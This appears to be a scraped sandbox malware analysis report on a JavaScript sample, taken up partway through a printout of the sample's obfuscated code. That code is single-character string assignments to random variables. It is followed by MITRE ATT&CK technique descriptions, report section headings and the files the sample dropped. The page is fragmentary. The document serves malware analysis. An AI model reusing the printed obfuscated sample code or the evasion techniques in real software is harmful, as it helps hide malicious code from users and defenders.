1241	bbaux = "m";
1242	bbaux = "b";
1243	bbaux = "i";
1244	bbaux = "b";
1245	bbaux = "/";
1246	picgtbz = "I";
1247	picgtbz = "C";
1248	picgtbz = "V";
1249	picgtbz = "N";
1250	picgtbz = "H";
1251	picgtbz = "h";
1252	picgtbz = "L";
1253	picgtbz = "D";
1254	picgtbz = "s";
1255	picgtbz = "V";
1256	picgtbz = "D";
1257	picgtbz = "l";
1258	picgtbz = "I";
1259	picgtbz = "w";
1260	picgtbz = "m";
1261	picgtbz = "V";
1262	picgtbz = "U";
1263	picgtbz = "E";
1264	picgtbz = "l";
1265	picgtbz = "D";
1266	picgtbz = "m";
1267	picgtbz = "E";
1268	picgtbz = "4";
1269	nzkloykk = "D";
1270	nzkloykk = "a";
1271	nzkloykk = "P";
1272	nzkloykk = "x";
1273	idmmkevle = "p";
1274	idmmkevle = "5";
1275	sjohlmwvm = "D";
1276	sjohlmwvm = "j";
1277	sjohlmwvm = "d";
1278	sjohlmwvm = "m";
1279	sjohlmwvm = "W";
1280	sjohlmwvm = "i";
1281	sjohlmwvm = "L";
1282	sjohlmwvm = "w";
1283	sjohlmwvm = "u";
1284	sjohlmwvm = "d";
1285	sjohlmwvm = "S";
1286	fydzxayvw = "I";
1287	fydzxayvw = "b";
1288	fydzxayvw = "y";
1289	fydzxayvw = "t";
1290	fydzxayvw = "G";
1291	fydzxayvw = "E";
1292	fydzxayvw = "P";
1293	fydzxayvw = "W";
1294	fydzxayvw = "Z";
1295	fydzxayvw = "v";
1296	fydzxayvw = "m";
1297	fydzxayvw = "H";
1298	fydzxayvw = "t";
1299	fydzxayvw = "r";
1300	wlqqsdk = "D";
1301	wlqqsdk = "r";
1302	wlqqsdk = "B";
1303	wlqqsdk = "L";
1304	wlqqsdk = "y";
1305	wlqqsdk = "C";
1306	wlqqsdk = "v";
1307	wlqqsdk = "w";
1308	wlqqsdk = "K";
1309	wlqqsdk = "p";
1310	wlqqsdk = "E";
1311	wlqqsdk = "v";
1312	wlqqsdk = "U";
1313	wlqqsdk = "j";
1314	wlqqsdk = "r";
1315	wlqqsdk = "n";
1316	wlqqsdk = "q";
1317	wlqqsdk = "z";
1318	wlqqsdk = "a";
1319	wlqqsdk = "U";
1320	wlqqsdk = "J";
1321	wlqqsdk = "C";
1322	wlqqsdk = "O";
1323	wlqqsdk = "k";
1324	wlqqsdk = "P";
1325	wlqqsdk = "b";
1326	wlqqsdk = "F";
1327	gkkbcjs = "X";
1328	gkkbcjs = "z";
1329	gkkbcjs = "m";
1330	gkkbcjs = "Q";
1331	gkkbcjs = "u";
1332	gkkbcjs = "K";
1333	gkkbcjs = "c";
1334	gkkbcjs = "U";
1335	gkkbcjs = "X";
1336	gkkbcjs = "P";
1337	gkkbcjs = "v";
1338	gkkbcjs = "E";
1339	gkkbcjs = "u";
1340	gkkbcjs = "z";
1341	gkkbcjs = "Y";
1342	gkkbcjs = "g";
1343	gkkbcjs = "h";
1344	gkkbcjs = "v";
1345	gkkbcjs = "p";
1346	gkkbcjs = "U";
1347	gkkbcjs = "W";
1348	gkkbcjs = "V";
1349	gkkbcjs = "o";
1350	gkkbcjs = "D";
1351	gkkbcjs = "s";
1352	gkkbcjs = "x";
1353	gkkbcjs = "v";
1354	gkkbcjs = "f";
1355	gkkbcjs = "a";
1356	gkkbcjs = "o";
1357	gkkbcjs = "p";
1358	gkkbcjs = "W";
1359	gkkbcjs = "_";
1360	wohik = "r";
1361	wohik = "F";
1362	wohik = "u";
1363	wohik = "o";
1364	wohik = "V";
1365	wohik = "M";
1366	wohik = "l";
1367	wohik = "S";
1368	wohik = "r";
1369	wohik = "Z";
1370	wohik = "S";
1371	wohik = "S";
1372	wohik = "s";
1373	wohik = "F";
1374	wohik = "T";
1375	wohik = "F";
1376	wohik = "A";
1377	wohik = "x";
1378	wohik = "q";
1379	wohik = "Z";
1380	wohik = "s";
1381	wohik = "W";
1382	wohik = "W";
1383	wohik = "J";
1384	wohik = "O";
1385	wohik = "D";
1386	wohik = "K";
1387	wohik = "Z";
1388	wohik = "Z";
1389	wohik = "C";
1390	wohik = "f";
1391	wohik = "G";
1392	wohik = "U";
1393	wohik = "j";
1394	wohik = "W";
1395	wohik = "u";
1396	wohik = "T";
1397	wohik = "F";
1398	wohik = "p";
1399	vzunn ( );	vzunn() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 251443863021115246.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF673c87.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\be7f1340-d6f1-41e9-9276-7406122c7887.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\ff0c091f-f83a-43bb-b51d-caf6608f015b.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
251443863021115246.js